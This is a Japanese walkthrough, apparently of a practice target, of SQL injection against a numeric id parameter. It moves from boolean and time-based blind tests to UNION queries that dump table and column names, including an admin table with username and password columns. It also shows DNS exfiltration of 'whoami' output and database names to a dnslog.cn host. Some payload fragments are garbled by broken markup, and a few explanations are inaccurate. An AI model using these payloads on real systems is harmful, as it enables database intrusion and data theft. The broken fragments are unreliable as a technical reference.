ターゲットフィールド編#
ページを開くと、明らかに注入ポイントが見つかります
そのテストを行うと、and 1=1
でページが正常に表示され、and 1=2
の場合はページが異常になることがわかりました
数字型である可能性があります
数字型は引用符を閉じる必要がなく、文字型を構築する際には引用符の閉じを注意する必要がありますorder by 3
でページがエラーを返し、現在のデータベースには 2 つの列が存在することがわかりました。また、データベースにはエコーがないこともわかりましたand if(exists(select * from information_schema.tables limit 1),sleep(10),1)--
if 文と exists 関数を使用して、information_schema.tables
というテーブルが存在するかどうかを確認します
存在すれば 10 秒遅延します
存在しなければ数値 1 を返します。この 1 は if 文の中で真を表し、結果に影響を与えません
簡単に言うと、information_schema.tables
というテーブルが存在すれば 10 秒遅延し、存在しなければページは正常に実行され、遅延はありません
Linux システムでping \
whoami`.i0f4xk.dnslog.cnを実行すると、whoamiがバッククォートで囲まれているため、最初に<br />whoamiコマンドが実行されます。同様に、
ping $(whoami).i0f4xk.dnslog.cnも上記のコードと同じ効果があります<br />しかし、dnsの前にwhoamiを直接追加すると、コマンドは出力されません<br />同様に、Windowsでは、
ping % username%..i0f4xk.dnslog.cn` を使用してもコマンドを実行できます g
私は DNS のワイルドカード解決の原理についてまだ理解が不十分です。詳しく説明してくれる方がいれば嬉しいです。
?id=1 union select 1,load_file(concat("\\\\",(select database()),".eoumbx.dnslog.cn\\abc")) --+
ページは正常ですが、dnslog のワイルドカード解決に失敗しました
dnslog が外部に持ち出せないことに気づき、行き詰まっていたところ、?id=1 and 1=2 union select 1,2
にエコーがあることに気づき、突然明るくなりました(スタークラフトのプレイヤーは見つけるのが難しいと感じています。。。。)
それで、直接?id=1 and 1=2 union select 1,database()
を使って現在のテーブル名が maoshe であることを確認しました?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database()
information_schema
は特別なデータベースで、SQL 標準で定義されており、データベースのメタデータを格納するために使用されます。これには、データベース、テーブル、列、制約、権限などの情報が含まれます。
table_schema
はinformation_schema.tables
でデータベースのテーブル名を照会する関数です
columns_name
はinformation_schema.columns
でデータベースの列名を照会する関数です
?id=1 and 1=2 union select 5,column_name from information_schema.columns where table_schema =database() and table_name ="admin" limit 0,1
を使って、admin テーブルに id、username、password 列があることを確認しました
information_schema.columns
のcolumn_name
列を照会することで、admin テーブルの列名を取得できます
テーブル名が現在のテーブル名と同じ場合、and
を使用して論理積を行い、table_name= "admin"
、つまり前のステップで照会した admin のみが表示されますlimit
パラメータは結果をオフセットするために使用されます。エコーが 1 つだけなので、limit x,y
を使用して調整します
x 番目から y 個を出力します
テーブル名と列名がわかれば、データの出力は非常に簡単です
インターネットでの情報検索を通じて、group_concat()
関数を利用して大量のデータを出力できることがわかりました
例えば、?id=1 and 1=2 union select 5,group_concat(table_name) from information_schema.tables
は、table_name
のすべてのデータを出力できます!?id=1 and 1=2 union select 5,group_concat(column_name) from information_schema.columns where table_name ='xss'
次に、SQL インジェクションの考え方について簡単に説明します
- 注入ポイントを見つける必要があります
- 判定を行い、文字型か数字型かを判断します。文字型は適切に引用符を閉じる必要がありますが、数字型は必要ありません
order by
を使用してフィールド数を判断します(後のエコーポイントの利用を容易にするため)- 結合エラーチェックを通じてエコーポイントを判断します(エコーがない場合は盲目的な注入を行うしかありません)
information_schema.tables
のtable_name
を使用してテーブル名を照会します(単一の照会にはlimit
を利用することも、group_concat
を使用することもできます)information_schema.columns
のcolumn_name
を使用して列名を照会します